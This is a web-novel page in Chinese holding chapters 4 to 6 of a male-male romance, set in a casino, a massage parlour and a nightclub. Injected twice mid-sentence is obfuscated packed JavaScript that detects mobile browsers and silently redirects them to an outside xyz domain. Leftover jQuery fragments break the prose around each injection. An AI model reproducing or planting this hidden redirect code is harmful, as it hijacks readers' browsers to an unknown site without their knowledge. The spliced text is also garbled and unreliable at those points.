“杨俊伟先生,请跟我们走一趟。” 直到这声传唤刺破混沌,杨俊伟才猛地回神,脖子一梗嚷道:“你们敢抓我?知道我是谁吗?知道我爸是谁吗?” “杨先生,请配合我们的工作。”警察的声音没有丝毫波澜。 周围的记者像嗅到血腥味的鲨鱼,瞬间围拢过来,快门声密集得像骤雨打在窗棂上,闪光灯晃得人眼睛发疼。 杨俊伟本就因输钱窝着火,现在连生意场上那些见不得光的勾当都要被抖搂出来,更是颜面尽失。 他胸口剧烈起伏着,目光像毒蛇一样冰冷地看着陈远豪,语气里满是咬牙切齿的狠厉:“是不是你干的?” 闻言,陈远豪眼底那点探究与冷意还没完全散去,却依旧是那副吊儿郎当的模样,转过视线,不咸不淡道:“我还没那么大本事收集三少这么多证据。要不是有人故意把底掀出来,谁能猜到您背地里玩这么大?” “你给老子等着!不管是谁,只要被老子发现,老子让你们吃不了兜着走!”被警察架着的杨俊伟挣扎着,嘴上仍不闲着,恶狠狠地放狠话。 杨俊伟身边的几个手下见状,撸着袖子就想上前阻拦,却被警察用电棍一下挡了回去。 陈远豪余光扫向杨峋英,见他一脸错愕地望着被架走的杨俊伟,那模样不似作伪,像是真的对这变故一无所知。 难道真是自己误会他了? 不对。 人心本就隔着肚皮,是真是假,单看表面哪能辨得清。 此地终究不宜久留,他们刚赢了不少钱,杨俊伟的那些狗腿子保不齐会折回来报复泄愤。 陈远豪压下心头没散透的揣测,深吸一口气,犹豫两秒,还是伸出手抓住了杨峋英的手腕,低声道:“快走,再待下去,肯定会被缠上麻烦。” 桌椅翻倒的脆响、人群的尖叫与怒骂交织在一起,乱得如同拆迁大队拆屋。记者们在这片狼藉中摸爬滚打,相机快门按个不停,生怕错过任何一个镜头。 陈远豪握着杨峋英的手腕往前冲,掌心被对方突出的腕骨硌得发紧。 到底为什么要拉着这男人一起走? 他只要顾着自己就能更快脱身,犯不着多带一个“累赘”。 或许,是这满场的喧嚣太让人慌神,抓着个能借力的人,能让自己在挤人群时更稳些吧。 陈远豪脚步没有丝毫停顿,攥着对方手腕的力道反而更用力了些,像是要在这喧嚣里抓住唯一的重心。 两人往外走时,正经过赌场特设的酒水吧台。为了延长客人逗留时间,这里24小时供应各式烈酒与软饮。 一个秃头、脸上带着刀疤的男人从旁边挤过,没注意看路,没轻没重地撞了杨峋英一下。 只听“砰”的一声脆响,秃头手里的玻璃杯掉在花岗岩地面上,琥珀色的酒液溅开,杯子瞬间碎裂成一地尖刺。 这声爆裂成功吸引了周围一小圈人的注意。 那刀疤男见状,眼睛一眯,反倒伸手抓住了杨峋英,摆出一副要碰瓷讨说法的架势。 在前面清理人群带路的陈远豪,忽然察觉到握着的手腕没了动静。 他回头一看,只见一个秃瓢正抓着阿英的另一只手臂,阿英就以一种被两头牵扯的僵硬姿态立在原地。 男人骨子里的胜负欲瞬间被点燃,陈远豪握着杨峋英手腕的力道不自觉收紧了几分。 那秃瓢也不甘示弱,瞪着眼回视他,两人像较着劲的拔河选手,你来我往地拉扯着。 直到瞥见杨峋英微微蹙起的眉头,像是被扯得生疼,陈远豪手上的力道骤然松了大半。 他索性往前迈了两步,一把攥住秃瓢的胳膊,那力道大得如同铁钳夹着木棍,将对方抓着杨峋英的手甩得老远。 陈远豪的眉骨高挺,横向延伸得很舒展,山根与鼻背构成的线条如刀削斧凿般立体,搭配斜度恰到好处的眉眼与紧凑的眼距,整个T区极具冲击力。面部自带一股生人勿近的冷感,不插科打诨、不刻意堆笑时,仅仅是这样静静站着,眼底翻涌的压迫感就让人莫名发怵。 “别碰他,你手脏。”陈远豪说。 “脏?”秃瓢被他的气势骇得缩了缩脖子,可打量着男生年轻的面庞,又见他穿得西装革履,料定他是那种恪守规矩、不擅争执的文化人,便又梗着脖子理直气壮道:“他把我的杯子撞碎了!我这酒是XX牌子的,光这一杯就值好几万,想就这么溜了?” “虽说撞在一起是事实,你的杯子碎了,我确实该道声歉,”杨峋英耐着性子讲道理,“但是你主动碰撞我的身体导致物品损毁,责任不在我方,自然不该由我赔偿。总不能说有人往墙上撞,还要墙来赔医药费吧?” 面对这有理有据的解释,秃瓢愣了一下,转而耍起了无赖:“少跟我扯这些弯弯绕绕,就是你碰的我!现在杯子碎在这儿,证据确凿,你有能耐拿出我撞你的证据?拿不出来,这钱不赔,你就别想迈过这道门!” 杨峋英深邃的眸光里,藏着寻得破局之法的笃定。余光扫过陈远豪一眼后,他便压下眼底的思绪,语气带着平静的妥协:“没有......那你说,要我赔多少?” “一口价,五万!!” 话音刚落,陈远豪就将他拽到身后,压低声音斥道:“你是不是傻?这明摆着是讹人,你还真打算掏钱?碰瓷的就专挑你这种老实人下手。” “我只是不想在大庭广众下闹得太难堪,”杨峋英看着这个不计较得失为自己出头的少年,眸底掠过一抹不易察觉的柔和,“几万块而已,给他便是。你看我刚赢了一千多万,就当是花钱买个清静。” “买个屁的清静。你这是有钱没地方花,扔水里还能听个响呢。你要是这么好骗,等你老了,我卖你保健品准能发家。”陈远豪翻了他一眼,把杨峋英往身后又拉了拉,彻底护在了自己身后。 陈远豪往前晃了两步,凑到秃瓢跟前,胳膊随意往胸前一抱:“我说秃子,你这碰瓷的手法也太糙了吧?就这两下子,还想开口讹钱?” 他声线本就低沉,说话时又裹着点漫不经心的懒劲儿,尾音轻轻往上挑,像逗猫时悬在半空晃悠的逗猫棒,没什么攻击性,却带了点儿气人的戏谑。 秃瓢被这话噎得脸一沉,伸手就往陈远豪胸口推了一把:“你他妈说谁碰瓷呢?” 陈远豪像被重锤砸中,“哎哟”一声地往后倒,结结实实摔在地上。 周围围观的人被这突如其来的一摔吓得齐齐往后缩了缩。 “我的妈呀——”陈远豪坐在地上,一只手撑着地面,另一只手赶紧捂住屁股,眉头皱得紧紧的,“你跟我多大仇啊?这么用力推我?”他低头往地上扫了眼,突然拔高了音量,声音里还掺了点委屈的颤音:“我感觉尾椎骨都要裂开了!这要是落下病根,我后半辈子可怎么办啊?” 那模样,没了半分刚才的吊儿郎当,倒像个受了欺负、没处说理的小孩,连语气都软了点。 人生如戏,全靠演技。陈远豪正演得投入,杨峋英已经快步冲到他面前,蹲下身,伸手就握住他的手臂:“没事吧?摔哪儿了?疼不疼?” 陈远豪朝着他飞快地眨了下眼,眼底闪过一丝得逞的挑逗,却依旧苦着脸说:“完了完了,这下肯定要躺医院了……医药费、误工费、还有精神损失费……不得请个律师好好算算?” 他这出戏演得太过逼真,连旁边吧台的服务员小姐姐都凑过来,担忧道:“看你摔得挺重的,要不要我帮你叫个车送医院?” 秃瓢更是被这阵仗唬得发懵,正愣神的功夫,后领突然被人狠狠攥住,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305414|182815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个彪形大汉的声音从背后炸响:“想跑?输了钱就想赖账?赶紧把欠的钱还上,不然有你好果子吃!” 秃瓢的气焰瞬间矮了半截,忙不迭点头哈腰地赔笑脸,再看眼瘫在地上的陈远豪,别说讹钱,不被反过来要医药费就不错了,只好咬咬牙作罢,被那大汉像拎小鸡似的拖走了。 见人彻底消失在视线里,陈远豪挑了挑眉,目光慢悠悠落在眼前的杨峋英身上。 刚才这人着急的模样可不是装的,漂亮的眉眼间满是真切的担忧,连攥着他手臂的指尖都在轻轻发抖。 他慵懒地勾起唇角,却没忘了把戏做足,故意往杨峋英身边凑了凑,声音裹着点漫不经心的调笑,没正形的吊儿郎当道:“不行,我起不来了……你快扶我一把,得去医院拍个片子才行,万一真摔出毛病了呢?” “好,现在就带你去。”杨峋英顺着他的话接下去,伸手穿过他的腋下,身体不经意间擦过他腰侧时,陈远豪下意识绷紧了脊背。 杨峋英的力道很稳,可带着一种不容忽视的温柔,扶他起身时,手臂几乎环住了他的半边身子,磁性的声音落进他的耳朵里:“好点了吗?实在不行,我背你过去?” 陈远豪是个一米八几的大男人,哪好意思真让人家背。刚想开口拒绝,余光瞥见杨俊伟那几个狗腿子从外面进来了,心头一紧,猛地反握住杨峋英的手,沉声说:“快走。” 两人一路疾奔,直到停车场附近才停下脚步。 此时天色全黑,夏季的晚风带着难得的凉意,拂过两人微热的脸颊。 陈远豪看着眼前俊美的男人,犹豫了一下还是问:“你到底是杨俊伟的什么亲戚?怎么感觉他对你敌意那么重?你们之间是不是有什么过节?” 见杨峋英的目光还在自己身上扫来扫去,显然还在担心他的伤势,陈远豪又补了句:“我刚才都是装的,一点事没有,真不用看了。” 杨峋英这才收回目光,淡淡道:“算起来是远房堂兄,真论起来也没什么深仇大恨,不过家里长辈总爱把我们放在一块儿比,他心里那点不痛快,也不是一天两天了。” 其实陈远豪一直有个问题想问,迟疑了片刻后,又觉得男人就该潇洒点,没必要把话藏着掖着绕弯子,于是把心里的猜疑直接抛了出来:“你昨天说会帮着保密财报,怎么现在屏幕上反倒把这东西漏出去了?” 杨峋英勾了勾唇角,目光深不见底,藏着几分让人摸不透的意味,又掺着几分撩拨:“你是在怀疑我吗?” 陈远豪扬了下眉梢,随意道:“情况就摆在这儿,就算我真怀疑,也没什么不合理的吧?” “我只负责暂时保管那份财报,昨天离开后便将文件锁进私人储物柜,没再动过。至于它为何会出现在屏幕上,想来是早有人暗中做了手脚。杨俊伟那人,行事像个没规矩的小地主,仗着些家底就横行霸道,这些年得罪的人,自然不在少数。” 这话陈远豪听得完全认同。可心里的疑虑并没有彻底消散,但也懒得再揪着不放。 能让杨俊伟受点教训,管它是用的什么法子呢。 他抬眼看向杨峋英,一只手插在裤兜里,姿态吊儿郎当的,语气却带着点实在的提醒:“你在那混蛋家的公司干活,往后可得多留点心眼。今儿你从他手里赢了一千多万,他八成记恨上你了。下次再撞上麻烦,我可未必能刚好凑过来帮你了。” 人生本就像趟列车,上来下去的过客太多,哪怕投缘得让人心头一动,该分别时也只能挥手道别。 想到这里,一股莫名的伤感爬上陈远豪的心头。 “让我小心,那你呢?”杨峋英反问,“今天你既让他输了钱、丢了面子,还被他怀疑,就不怕他回头报复你?” 陈远豪勾唇一笑,露出几分放荡不羁的痞气:“你就放宽心吧。他要是找来,能认怂就先装孙子,不认怂就硬碰硬,实在打不过,我跑起来比谁都快,他不会把我怎么样的。” 正说着,远处一束车灯朝这边驶来,他推了推杨峋英的胳膊:“司机来接你了吧?快回去吧。” 杨峋英“嗯”了一声,从兜里掏出手机,对着他说:“之前说好的,帮我这个忙,有三十万谢礼,你给我个银行卡号。” 陈远豪本想嘴硬说句“我可不是见钱眼开的人”,可话到嘴边又咽了回去。他本来就是。于是干脆利落地报出了卡号。 杨峋英上了车,看着车子渐渐驶远,陈远豪的目光像被磁石吸住似的,一直追随着那抹越来越小的影子。 直到尾灯彻底消失在夜色里,才慢悠悠地收回视线。 5. 第 5 章 陈远豪双手揣进裤兜,在街边拦了辆出租车,回了那个租来的狭小的四人宿舍。 一进来,一股子烟草味就钻进了鼻子里。 白刚从床上跳了下来,朝着他贴了上来,上下打量了陈远豪一圈,搓着手,小眼睛眯得更看不见了:“阿豪,能平安回来,是不是在赌场里赢钱了?有钱了,能不能先帮我把欠的花呗还了?” 陈远豪睨了这个胖子一眼,看着他嘴角肿得老高,说话时脸皮都跟着发紧的模样,气又一股脑涌了上来。暗骂真不长脑子,告诉他多少次别去那个破赌场,偏要去。 目光在他脸上扫了个来回,鼻腔里发出声嗤笑:“我看你与其惦记着我的钱,不如先去买瓶碘伏,省得烂成流脓的猪头。” 白刚赔着笑往他身边凑了凑:“阿豪你这是说啥呢,有钱大家一起花嘛。再说那花呗催得紧,再不还就要上征信了……” “上征信?”陈远豪挑眉,“当初劝你别碰那些网贷的时候,你怎么不说怕上征信?现在知道急了?” “我这不是一时糊涂嘛……”白刚战战兢兢地瞟着陈远豪,“说起网贷,我倒想起来,除了花呗,我还欠着两个借款平台的钱,加起来正好两万。你就先帮我垫上,下个月挣了钱立马还你,连上次欠的三千一块儿清了,真的!” 陈远豪往阳台走,拿出洗完晒好的衣服。脱了这身租来的西装,换好后又把西装放在桌子上。方才一屁股坐在地上沾了点灰,他从纸抽里抽出几张面巾纸,边擦边说:“我这儿是开银行的?就算是银行,也得要利息吧。” 白刚跟在他身后絮絮叨叨:“你说这话就太见外了,咱俩这关系,还用算利息吗?放心,这次肯定按时还!” “肯定?”陈远豪像是听到了什么好笑的笑话,“你这句话说的次数比你吃的饭都多。” 陈远豪下铺的崔贤正刷着小红书学美妆教程,探出头说:“我听说XX平台逾期利息挺高的,利滚利下来,怕是他赚的那点钱还不够还利息的。如果没按时还,还会联系家里人,刚子没准填的紧急联系人就是你,阿豪你小心电话轰炸!” 白刚又一遍遍地做了保证,陈远豪被他缠得没办法,也懒得再多说什么,从兜里拿出手机,给白刚微信里转了两万块。 白刚看到转账,喜出望外:“我就知道阿豪你最好了!!” 他知道,陈远豪永远表现出“懒得管你们这些烂摊子”,可真等这帮混混兄弟出事,行动上比谁都急着兜底。 他就像块外冷内热的烙铁,表面结着层冰碴子,底下藏着的滚烫温度,只有凑近了才能感受得到。 眼瞅着胖子又要贴上来,陈远豪一下子推开了他,冷声道:“别谢我,我可不想以后被人追债追到天天打电话。” 陈远豪擦好了衣服,干净得和刚借来的时候没区别,又拿出防尘袋工工整整地包好,打算明天找个时间送回去。 刚还完借款的白刚看着身旁这张天生带着孤傲英气的脸,再瞧瞧他永远整洁笔挺的衣着,忍不住真心实意拍了句马屁:“阿豪,如果你不说你是街头混混,别人根本看不出来。” 陈远豪哂笑一声:“那别人能看出我是什么?” “像百亿集团老板的儿子,北城公子哥啊。” “所以,北城公子哥今晚能不能请哥几个出去玩玩?” 合着你小子在这儿等着呢。陈远豪淡淡地瞥了他一眼,没接话。 崔贤起身伸了个懒腰:“听说市中心新开了家按摩SPA店,技师手法特别好,按完整个人都能飘起来。” 靠在桌子上的白刚已经脑补出漂亮按摩师用纤纤玉手给他做精油开背的场景,转头眼巴巴地望着陈远豪:“阿豪,要不咱们四个一块儿去?花不了几个钱的。” “按摩完了,要不要去蹦迪?”崔贤说,“咱们都好久没去了,那儿可有不少又帅又多金的小哥哥!” “我记得上周末不是有网友约你见面了吗?”白刚插了句嘴,“怎么,没看上?” ““害,别提了,”崔贤嫌恶地摆了摆手,“照片跟本人差十万八千里。照片上是又高又帅的黑皮酷哥,实际就是个矮穷挫。那天一见面,好家伙,一脖领子头皮屑。真去东北大澡堂子,搓澡大爷能在他脖子上搓出二斤皴。还特别抠门,第一次约会带我国下小吃城,人均不到三十块,关键这钱还让我自己掏,合着约人连三十块都舍不得?吃完我直接打车走,给他拉黑了!” “人家怕是觉得,你不值那三十块钱吧。”一直躺在床上看动作片、一声不吭的于浩终于斜睨了崔贤一眼,淡声说道。 “于浩你怎么说话呢?”崔贤也纳闷,每次自己一提约会的事,于浩总会呛他两句,一想到于浩本就是这副冷脸冷心、说话带刺的性子,也懒得跟他计较,“我就不信了,今天去蹦迪,凭我这年轻貌美、又白又纤瘦、盘亮条顺的模样,还吸引不了帅哥?” “你可别给人家身上蹭一身粉底液。”于浩冷哼一声,转头继续看电影了。 “怎么样阿豪?去不去?”白刚看着正玩王者荣耀的陈远豪问。 陈远豪正操控着英雄攻击对方水晶,在他的观念里,人生苦短,及时行乐才是正道,那些一门心思攒钱的人,活得未免也太无趣了些。所以没多犹豫就同意了他们的提议。 “嗯。” * 来到了按摩会所,空气中飘着淡淡的薰衣草香,柔软的地毯吸走了所有声响,让人不自觉就放松下来。 陈远豪看着按摩项目表,侧过头刚想问他们想选哪个项目,白刚戳了戳于浩胳膊,迷茫地说:“这上面写着什么?” 白刚不认识字,于浩冷声吐槽他一句:“这都什么年代了,还不认识汉字,”然后又给他读,“背部刮沙(痧)、背部拔.....缸......” 崔贤无语道:“那叫背部拔罐。”虽然他也不认识“罐”字,但好歹听说过。 “你行你读啊?”于浩说。 崔贤有些虚地看了一眼项目表,态度软了下来:“我就不和你抢这个表现的机会了。” 于浩困惑地看着下一排字:“殿部排主周理。” “什么玩意?”白刚完全没懂。 “可能就是......”于浩掀起薄而冷的眼皮,看着白刚,编不下去了。 “难道是大殿里的主要东西排一排,每周都得理一理?”崔贤摸着下巴,一板一眼分析。 陈远豪看着憋笑的服务员小姐姐,冷着脸翻了这几个丈育一眼:“那叫臀部排毒调理。” “臀部是哪个部位?”白刚冷不丁没反应过来,问道。 “你的屁股!“崔贤嫌他蠢,拍了白刚一下屁股道。 “你们这地方净搞这些花里胡哨没用的词儿,”白刚看向服务员说,“还臀部。你管擦屁股叫擦臀?文明点叫开腚!” “所以按照你的理解,应该叫腚部排毒调理?”崔贤扬了扬眉毛说。 陈远豪实在是丢不起那个人,索性就把全部项目都念了出来,催促道,“淋巴排毒调理、腿部经络疏通......想要哪个赶紧选。” 听出陈远豪语气里的不耐烦,白刚开了句玩笑:“阿豪,咱们几个都是小学没毕业的学历,谁也别瞧不起谁。一辈子小学生,青春永驻,不好吗?” 听到“小学没毕业的学历”,陈远豪黑眸里蕴着一点深邃的暗光,周身的气压都低了几分。 原本还在说笑的崔贤撞到陈远豪冷淡的面容、眼神里复杂的情绪,愣了一秒,像是反应过来什么,收住了笑脸,推着白刚:“哪里那么多话,赶紧选,别磨蹭了!” 选好项目后,四人被领进独立包间,各自躺上按摩床。柔软的皮质床面随着体重微微下陷,床头的置物架上整齐摆放着精油瓶与干净毛巾。 会所安排的理疗师皆是身着统一制服的年轻女性,束着利落的发髻,胸前别着标有编号的工牌,脸上挂着职业化的浅笑。 为陈远豪服务的理疗师刚将掌心搓热,指尖即将触碰到他后背的瞬间,他像被烫到似的猛地坐起身,动作幅度之大吓得女孩一激灵。 “先生,怎么了?”女孩眼里闪过一丝错愕,难不成还没开始服务就不合心意? “没什么。”陈远豪意识到自己反应过激,冷硬的声线柔和了些许,带着点漫不经心的随意,“你们这儿,有男理疗师吗?” “有的。”女孩费解地打量着他。从业这么久,主动要求男理疗师的男顾客寥寥无几,她还是保持着礼貌追问,“您是更习惯男技师的手法吗?我们的男理疗师擅长深层组织按摩,力道会更足一些。” 陈远豪犹豫片刻,轻轻点了点头。 “好的,那我这就为您更换男理疗师。” “阿豪,放着美女不要,要老爷们给你按,没吃错药吧?”白刚正刷着视频,抬头看了他一眼问道。 陈远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305415|182815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豪还没接话,于浩突然沉声打断,白刚手机里正放着听不懂的韩剧,叽里咕噜闹得他烦心:“你他妈连中文字幕都看不懂,看什么韩剧?” “我虽然看不懂字幕,但人物动作表情总看得懂吧。”白刚嬉皮笑脸地回嘴。 “别小瞧白刚啊,人家还会说韩语呢。”崔贤模仿白刚的语气,“欧巴,撒拉嘿~” “撒拉嘿!”白刚立刻接话,逗得包间里一阵哄笑。 陈远豪闭着眼享受男理疗师的手掌在肩颈游走,听着三人插科打诨,却始终没接白刚那句疑问。 说实话,他自己也说不清缘由。 活了十九年,凭着出众的长相,出去打零工时总有些女生红着脸递情书、表心意。可陈远豪心里清楚,那些亮晶晶的眼神从来没能在他心里掀起半点波澜。就像有人天生爱吃辣,有人偏爱甜食,他对异性的感觉,就像面对一桌不合口味的菜,任谁劝都动不了筷子。 * 周末的夜尚未叩响午夜钟点,夜场内早已攒动起热络的人影,放眼望去尽是青春洋溢的俊男靓女。 暗红灯光像层薄纱蒙在每张脸上,模糊了眉眼神态,却把眼底的欲望烘得愈发灼人。 杨峋英爱这地方的喧嚣,像沉溺在一片沸腾的海洋里,以此来稀释心底的空寂。 他来这儿,也真就只是为了蹦迪,从不多沾半分逾矩的纠缠。 相识久了的人都清楚,杨峋英那张脸实在太过出挑,好看得让人忽略掉周遭一切。眼波流转间,既有似水含情的温柔,又藏着几分邪魅狂狷的慵懒。 可只有真正走近他的人才明白,他的内心像裹着层密不透风的冰壳,疏离感早已刻进骨血里。 杨峋英喝了些酒,眉宇间染上几分微醺,跟着鼓点轻晃时,松快里带着漫不经心的舒展。 身旁的梁世宇正舞得尽兴,扬声笑道:“咱们在M国上大学那会儿,都是先在家里喝得差不多了,等到两三点才去clubbing。我今天才发现,原来国内这边12点之前就都进场了,节奏倒是比那边快不少。” 身处上流圈子,杨峋英身边从不缺簇拥者,可称得上朋友的却屈指可数,能让他真正交付信任的更是凤毛麟角。梁世宇算是其中一个。 回国的念头在心里盘桓了太久,真等双脚落在故土上,杨峋英反倒没了先前的波澜。 对着眼前的梁世宇,他卸下了惯常的戒备,唇角勾起一抹浅淡却真切的笑:“入乡随俗,国内的夜生活节奏确实不一样,倒也新鲜。” 提到“入乡随俗”,梁世宇的动作停了下来,眉峰往中间挤了挤,眼底那点玩乐的兴味淡下去,凑近杨峋英,用气音压着话:“前几年咱们好不容易摸到你家那个保姆的线索,刚想问你母亲的死因,人就凭空没了下落。后来绕了一大圈,托关系调取医院原始档案,才从被刻意掩盖的记录里找到些蛛丝马迹——” 顿了顿,“这几年你在M国那些‘意外’,一次比一次险……北城遍地都是你父亲和继母的产业,你那两个继兄继弟也不是省油的灯。你就算在外面再培植势力,眼下跟他们比,终究是单枪匹马,得更当心。” “尤其你刚设计让你那个继弟栽了大跟头,现在北城商业版头条全是这事,保不齐他们正憋着劲要报复。” 杨峋英方才漫在眉宇间的松弛像被冻住般凝住,眼尾那点因热闹而生的活络气陡然沉下去,恨意从瞳孔里漫出来,像无数细小的冰粒在眼底翻涌,几乎要刺破平静的表象。 只消几秒,又被他硬生生压了回去。 他坐回卡座,仰头饮尽杯中酒,喉结滚动的弧度带着股狠劲,语气却极其平静:“要是怕,我当初就不会回来。当年我母亲去世后,他们把我跟扔垃圾似的丢去国外,不就是笃定我翻不了身?现在,就是要让他们把欠我的、欠我母亲的,一笔一笔,连本带利都还回来。” 梁世宇点了点头,也坐了下来,沉笃道:“不管多难,兄弟我都支持你。” 杨峋英又倒了杯酒,指尖刚碰到杯沿要举杯,视线忽然越过攒动的人群,落在门口。 一个高个子少年正往里走。一身黑短袖配黑长裤,衬得肩背线条愈发清冷硬朗,即便混在满场光鲜亮眼的红男绿女里,也像株孤挺的松,格外扎眼。 他目光顿了两秒,面无表情地收回视线,端起酒杯抿了口。 可没过多久,目光又不由自主地飘了过去,落在那少年身上。 6. 第 6 章 陈远豪走进夜店,场内音乐震天响。他喜欢这样的环境,能让那些平日里积在心口的烦躁顺着震耳的节奏一点点散出去。 舞池灯光幽暗,年轻女孩随着节拍扭动身体,姿态自在又松弛;男人要么贴过去勾住对方的腰,要么围成圈跟着晃动,眼神里的欲望毫不遮掩。 陈远豪的目光在人群里大致扫过,寻找着卡座。 直到看见一年轻男子,指尖插进另一浅发男子的软发里慢慢揉着,指腹蹭过发顶,像在安抚温顺的金毛。 他的目光骤然停住,微眯起眼睛。 这时,有一个长相漂亮白嫩的小男孩端着酒杯凑过来,糯糯地跟他搭讪:“帅哥喝一杯吗?” 陈远豪的思绪收回了一瞬,垂眸看向男孩那张干干净净、眼尾带点软红的讨喜小脸。换作以前,就算不是他偏爱的类型,也能凑在一块儿玩上一阵,可今天却没半分兴致。他只是散漫地笑了下:“一会儿再喝。” 说完,他轻轻推开挡在面前的小男孩,走到一个卡座旁,一把握住了那个年轻男子的手腕。 不明所以的梁世宇抬眼一看,对着这个突然出现的陌生人:“干嘛抓我手啊?” 干嘛抓他手啊? 陈远豪被这个问题拉回思绪。 对啊,这是为什么呢? 他的目光一寸寸地落在年轻男子身上,最后定格在对方插在杨峋英发缝的手上。 看得他像是有团没头没脑的火在烧。 他想不通这股莫名的烦躁从哪来,只知道不能再看着,手腕一使劲就将对方的手拽了下来,沉声道:“公共场合,别动手动脚骚扰人。” 梁世宇愣了两秒,心说自己不过是想问朋友,头发手感这么好是在哪做的护理,怎么就扯到“骚扰”上了? 他余光飞快扫过身旁没怎么说话的杨峋英,又抬眼看向一脸“我占理”的少年,嘴角勾起抹看热闹的笑:“骚扰?这位先生,您是不是管太宽了?这儿是夜店哎,凑近些聊天、交朋友不是很正常吗?怎么就碍着您了?” “......”陈远豪低眼,杨峋英的目光恰好与他缓慢撞上。 对方的眼神蒙着层水汽般的迷蒙,像是被酒意泡得发涨,本就含着几分天然的温柔多情,此刻更添了丝不自知的勾人意味。 这模样,在鱼龙混杂的夜店里,跟块没设防的糖似的,谁都想凑过来舔一口。 陈远豪心里的火又蹿高了些,可还摆出“讲道理”的架势,慢条斯理道:“寻乐子也得有个分寸吧?总不能仗着人家喝了酒,就往人跟前凑得这么近。” 又低眸淡淡扫了杨峋英一眼:“你也是的,大晚上自己一个人来喝酒,不知道自己这张脸多惹眼?没发现有人不怀好意吗?” 梁世宇无奈地笑了一声:“这位先生,你说谁不怀好意呢?” 陈远豪讥笑道:“我说你了吗?这么急着把帽子往自己头上扣?” “……也对,你确实没点名道姓说我。” 陈远豪轻扬一条眉毛,有点咬牙切齿:“那不然我在说谁呢?” 梁世宇:“……” 杨峋英像是被两人的争执搅得回了神,缓缓眨了眨眼,看向梁世宇:“你们说什么呢?” 梁世宇啧了一声,笑着吐槽:“还说呢,这位先生觉得我是在纠缠你。我对感兴趣的帅哥示好怎么了?我不帅吗?你不喜欢我吗?” 果然是贼心大起。陈远豪暗暗磨了下后槽牙。 杨峋英看着他,睫毛颤了颤没说话。倒是抬眼瞟了陈远豪一下,那眼神里还带着点没散的酒意,像含着颗被揉碎的星子。 看得陈远豪心里的火瞬间灭了大半,莫名心头一松:“我说这位兄弟,人家......好像不太喜欢你这一套啊。” 梁世宇挑眉看向杨峋英:“是吗?” “我……不太喜欢别人摸我头发。”沉默几秒后,杨峋英才轻声道。声音带着点气音,好听得人心尖发痒。 这是典型的见色忘友啊,梁世宇心里嗤笑一声,拍了下大腿:“行,就我多余,我去骚扰别人成不?”说完,起身拎着酒杯就走了。 陈远豪看着杨峋英,见对方又满上一杯酒,犹豫了几秒,干脆坐在了他的对面。 陈远豪虽然说是个街头混混,但和那些游手好闲、靠着投机取巧混日子的人不一样。他虽带着点不正经的野性,却懂得分寸,并非社会关系混乱之辈。 他也不知道怎么了,和这个男人的交集不过寥寥数次,可偏偏见了他,就克制不住靠近的念头。 陈远豪随意地靠着椅子,翘着二郎腿端详着杨峋英。 他今天和上次一身正装展现的气质完全不一样。穿了一身白色半袖,浅蓝色休闲牛仔裤,冷白色的肌肤在暗光下也难掩细腻的光泽,若隐若现的锁骨随着呼吸轻轻起伏,修长骨节分明的手指捏着酒杯。 在这喧嚣迷乱的地方,他周身像裹着层清透的光,将周遭的浮躁都隔绝在外,漾着几分独有的清爽,偏偏又不失魅惑。 陈远豪的目光在杨峋英脸上转了转,给自己那“克制不住”的念头找了个合情合理的理由。 他太好看了。 别说他现在十九岁,就算到了八十岁,他也会对长得好看的人多留意几眼。人本身就是这样,对美好的事物总会下意识地关注,就像花草会朝着阳光生长,这是再自然不过的本能。 也不能这么干坐着,正要随意找个话茬的陈远豪突然肩膀被人拍了一下,他侧过头一看,是白刚他们三个。 白刚手里拎着两瓶酒,说:“阿豪,你走得倒是快,也不和我们说一声就自己过来了。怎么坐这儿了?不和我们坐一起?”看了一眼杨峋英,又问,“你们认识?” 陈远豪不想多透露关于杨峋英的信息,其实他自己也不是很熟,索性越过这个问题说:“在哪里坐不一样?”朝着旁边卡座扬了扬下巴,“那不是有位子吗?” 崔贤和于浩都放下酒瓶子,随着音乐晃着脑袋扭着身子,看起来晕乎乎的快要找不着北。白刚也没多问,跟着他们俩一起摇头晃脑起来。 见桌子上摆了很多酒瓶,有的还没开封,这么多酒他一个人怕是喝不完,难免贪杯过量。陈远豪问:“我可以喝一些吗?” “喝吧。” 陈远豪拿了其中一瓶酒精度数最高的,用开瓶器撬开瓶盖,给自己满上一杯。 一饮而尽,放下酒杯问:“你自己一个人来的?怎么想起来来这里了?”刚才那个男人也没说是他朋友,他就默认杨峋英是自己来的。 杨峋英眉梢轻轻舒展开:“一个人无聊想解闷,本来还怕这儿没意思,现在见着你,倒觉得来对了。” “杨俊伟没找你麻烦吧?公司那边呢?” 比起其他问题,陈远豪更担心这个。杨俊伟现在虽被警方问询,但杨家势大,用不了多久就能出来,最后大概率只损失点钱财和公司利益,这点代价对家大业大的杨家来说,根本不算什么。 杨峋英低眼,过了片刻才开口:“暂时还没有。” 暂时……陈远豪深吸了一口气:“那以后呢?”顿了下,他随意道,“留个联系方式吧,虽然我觉得我也帮不上你什么大忙,但至少能在你需要的时候,带你找个地方避避风头。” “还是不要了吧,”杨峋英眼底掠过一丝迟疑,客套道,“就算事情棘手些,我是个成年人,总该学着自己应对处理,不好还要劳烦你费心。” “这有什么麻烦的,”陈远豪扯着唇角笑了笑,带着漫不经心的痞气,“咱们也碰上三次了,说是朋友也不为过。” “朋友?” 